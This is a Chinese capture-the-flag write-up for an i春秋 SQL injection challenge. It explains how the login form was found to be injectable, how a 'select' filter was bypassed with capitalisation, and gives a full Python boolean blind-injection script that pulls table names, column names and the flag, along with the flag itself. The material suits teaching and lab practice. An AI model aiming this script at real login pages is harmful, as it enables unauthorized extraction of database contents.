i春秋《从0到1:CTFer成长之路》题目(Web——SQL注入-2)

文章目录

题目链接:

https://www.ichunqiu.com/battalion?t=1&r=68487

解题思路

1、首先点击login.php,输入进行尝试

输入admin显示账户或者密码错误
i春秋《从0到1:CTFer成长之路》题目(Web——SQL注入-2)

而输入其他显示账号不存在
i春秋《从0到1:CTFer成长之路》题目(Web——SQL注入-2)

这里可以初步猜测用户名就是admin

2、开始尝试是否存在注入

输入admin’,显示账户不存在,而输入admin’#显示账户或密码错误
i春秋《从0到1:CTFer成长之路》题目(Web——SQL注入-2)
这表明存在注入漏洞,并且为字符型漏洞。

3、这里可以判断列字段的个数,但是没有回显此步可以省略

i春秋《从0到1:CTFer成长之路》题目(Web——SQL注入-2)
可以判断为3列

4、由于没有回显,故只能尝试盲注

在盲注之前,根据一些系列测试可以发现此题过滤了select
但是可以大写绕过。

5、抓包分析

i春秋《从0到1:CTFer成长之路》题目(Web——SQL注入-2)
post提交方式,参数如下为:name和pass
正确回显:{“error”:1,“msg”:"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}
i春秋《从0到1:CTFer成长之路》题目(Web——SQL注入-2)
错误回显:{“error”:1,“msg”:"\u8d26\u53f7\u4e0d\u5b58\u5728"}
i春秋《从0到1:CTFer成长之路》题目(Web——SQL注入-2)
根据不同的回显编写脚本,这里采用布尔盲注,经测试,时间盲注也是可以,但是执行时间较长。

6、编写脚本

import requests

def Get(url):
    result = ''
    for i in range(1,100):
        left = 32
        right = 128
        mid = (left+right)//2
        while left<right:
            #查询表名
            # name = "admin' and if(ascii(mid((Select group_concat(table_name) from information_schema.tables " \
            #        "where table_schema=database()),{0},1))>{1},1,0)#".format(i,mid)

            #查询列名
            # name = "admin' and if(ascii(mid((Select group_concat(column_name) from information_schema.columns " \
            #        "where table_schema=database() and table_name='fl4g'),{0},1))>{1},1,0)#".format(i,mid)

            #根据表名和列名查询字段值
            name = "admin' and if(ascii(mid((Select flag from fl4g),{0},1))>{1},1,0)#".format(i, mid)
            
            data = {"name":name,"pass":"1223234"}
            res = requests.post(url,data)
            if "\\u8d26\\u53f7\\u6216\\u5bc6\\u7801\\u9519\\u8bef" in res.content.decode():
                left = mid+1
            else:
                right = mid
            mid = (left+right)//2
        #查询结果结束
        if mid==32:
            break
        result += chr(mid)
        print(result)
    print(result)

Get('http://eci-2ze7rwkw5ezyr8olv58h.cloudeci1.ichunqiu.com/login.php')

查询表名结果:
i春秋《从0到1:CTFer成长之路》题目(Web——SQL注入-2)
查询列名结果:
i春秋《从0到1:CTFer成长之路》题目(Web——SQL注入-2)
查询相关的值
i春秋《从0到1:CTFer成长之路》题目(Web——SQL注入-2)
得到flag: n1book{login_sqli_is_nice}

上一篇:从零开始的CTFer成长之路 - Web篇


下一篇:从0到1——CTFer成长之路(二)